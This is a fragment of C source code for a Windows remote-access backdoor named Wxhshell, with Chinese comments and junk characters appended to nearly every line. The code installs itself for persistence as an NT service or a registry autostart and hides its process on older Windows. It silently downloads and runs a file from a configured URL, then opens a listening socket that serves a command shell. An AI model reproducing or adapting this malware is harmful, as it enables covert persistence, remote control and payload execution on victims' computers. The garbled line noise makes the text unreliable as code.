} PROCESS_BASIC_INFORMATION; w >w zV=R
j:7AVnt
PROCNTQSIP NtQueryInformationProcess; p :zRgwcn
5;X r0f
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >e!Y 63`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J1Run0
6z2%/P-'
HANDLE hProcess; (bAw>
PROCESS_BASIC_INFORMATION pbi; ;r}yeISf
<72q^w
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M{g.x4M@W
if(NULL == hInst ) return 0; HcM/
`(M0I!t
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (qzBy \\p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y+{jG(rg.F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q!{>Nlk
rV}&G!V_t
if (!NtQueryInformationProcess) return 0; uyvjo)T
Lk.tEuj=82
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ` <u2 N
if(!hProcess) return 0; &qP0-x)
sh*/wM
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KNjU!Z/4
C!U$<_I\2
CloseHandle(hProcess); FuC\qF
kK:U+`+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i,wZNX
if(hProcess==NULL) return 0; zUq(bD
J,J6bfR/
HMODULE hMod; PMT}fg
char procName[255]; $'<FPbUtD}
unsigned long cbNeeded; :!JQ<kV
6!SW]#sD
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S]NT +XM
0O a&vx
CloseHandle(hProcess); qWJHb Dd
Yl=-j
if(strstr(procName,"services")) return 1; // 以服务启动 7CH.BY
@`ii3&W4
return 0; // 注册表启动 *4%%^*g.I
} *c
9S.
"]|7%]
// 主模块 @^/aS;B$>
int StartWxhshell(LPSTR lpCmdLine) Bg}l$?S
{ FY`t7_Y?GV
SOCKET wsl; 2.vmZaKP
BOOL val=TRUE; KTBtLUH]*F
int port=0; 8`6G_:&X
struct sockaddr_in door; *Q#oV}D_
w[ $oH^7
if(wscfg.ws_autoins) Install(); 4o"?QV:
.PV(MV
port=atoi(lpCmdLine); _%Yi^^
C_JO:$\rE
if(port<=0) port=wscfg.ws_port; efE=5%O
PpH
;p.-!d
WSADATA data; I;n<)
>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QN|=/c<U
[$td:N
*
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ([^#.x)hz
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ={f8s,m)P,
door.sin_family = AF_INET; 3hxV`rb
door.sin_addr.s_addr = inet_addr("127.0.0.1"); __zHe-.m
door.sin_port = htons(port); 1z0|uc
*}T|T%L4)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UWhJkJsX
closesocket(wsl); G:y+yE4
return 1; Ke=+D'=
} }!?RB v'W
luyu7`
if(listen(wsl,2) == INVALID_SOCKET) { 7WUvO
closesocket(wsl); l}r 9kS
return 1; 9_?e, Q
} fFYoZ/\
Wxhshell(wsl); 74N3wi5B
WSACleanup(); $rTb'8
p&5>j\uJ1&
return 0; cA|vH^:
,I ][
} ]T)<@bmL
4Gh\T`=
// 以NT服务方式启动 }}ic{931
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bo(w$&
VW
{ SH#*Lc
DWORD status = 0; >\3\&[#"
DWORD specificError = 0xfffffff; d0C _:_
&%GAPs%
serviceStatus.dwServiceType = SERVICE_WIN32; FvG?%IFM
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8UXRM :Z"
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V"'PA-z3
serviceStatus.dwWin32ExitCode = 0; 6y1\ar(A
serviceStatus.dwServiceSpecificExitCode = 0; V0#Ocq,
serviceStatus.dwCheckPoint = 0; So8
Dwz?
serviceStatus.dwWaitHint = 0; Pqw<nyC.
1_A_)l11
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rf%VSxD9
if (hServiceStatusHandle==0) return; %?aq1 =B
7S&$M-k
status = GetLastError(); `'sD (e
if (status!=NO_ERROR) "P54|XIJ\
{ NdSuOkwwt
serviceStatus.dwCurrentState = SERVICE_STOPPED; b GI){0A
serviceStatus.dwCheckPoint = 0; yjMN>L'
serviceStatus.dwWaitHint = 0; 3u4Q!U%(D
serviceStatus.dwWin32ExitCode = status; CaO-aL
serviceStatus.dwServiceSpecificExitCode = specificError; {V[}#Mf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |#M|"7;2z
return; S4[#[w`=
} DcdEt=\)h
P\<:.8@$S
serviceStatus.dwCurrentState = SERVICE_RUNNING; yz=X{p1
serviceStatus.dwCheckPoint = 0; 5oSp/M
serviceStatus.dwWaitHint = 0; **kix
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f7][#EL
} 6}e*!,2Xj
Cl9 nmyf
// 处理NT服务事件,比如:启动、停止 m%apGp'=1
VOID WINAPI NTServiceHandler(DWORD fdwControl) XD|g G
{ 3\Q 9>>
switch(fdwControl) z F.@rXl
{ d[J_iD{ &
case SERVICE_CONTROL_STOP: h=:/9O{H
serviceStatus.dwWin32ExitCode = 0; jVQ89vf
~
serviceStatus.dwCurrentState = SERVICE_STOPPED; |rwY
serviceStatus.dwCheckPoint = 0; .#$2,"8
serviceStatus.dwWaitHint = 0; P/|1,Sk
{ L
1!V'Hm{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5TB6QLPEwY
} / +%
return; -X~|jF
case SERVICE_CONTROL_PAUSE: ocJG4#
serviceStatus.dwCurrentState = SERVICE_PAUSED; ByJPSucD
break; A$5M.
case SERVICE_CONTROL_CONTINUE: "O<ETHd0
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ec3tfcNhR
break; Cp"7R&s
case SERVICE_CONTROL_INTERROGATE: H(K
PU1lDw
break; J;8d-R5
}; ]lBCK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (BeJ,K7
} J:glJ'4E
-dBWpT
// 标准应用程序主函数 u"*DI=pwb
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /G'3!S
{ ,:A;4
~Ss,he]Er
// 获取操作系统版本 !Vw1w1
OsIsNt=GetOsVer(); A8Q^y
AP^
GetModuleFileName(NULL,ExeFile,MAX_PATH); -LszaMR}
8Ejb/W_
// 从命令行安装 p ZTrh&I]
if(strpbrk(lpCmdLine,"iI")) Install(); Gw$ 5<%sB
I"vkfi#=
// 下载执行文件 qz>R"pj0g
if(wscfg.ws_downexe) { m\0_1 #(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ud$-A
WinExec(wscfg.ws_filenam,SW_HIDE); 3EICdC
} {XmCG%%L
C\GP}:[T3
if(!OsIsNt) { &~H ed_
// 如果时win9x,隐藏进程并且设置为注册表启动 jTcv&`fAz
HideProc(); #6<1
=I'j
StartWxhshell(lpCmdLine); Pa{
} j/d}B_2
else N8dxgh!,
if(StartFromService()) KZw~Ch}b9
// 以服务方式启动 &btI#
StartServiceCtrlDispatcher(DispatchTable); Z%qtAPd
else XH$r(@Z\7
// 普通方式启动
r_#dh
StartWxhshell(lpCmdLine); 96(Mu% l
}Pg}"fb^
return 0; ?!U[~Gq
}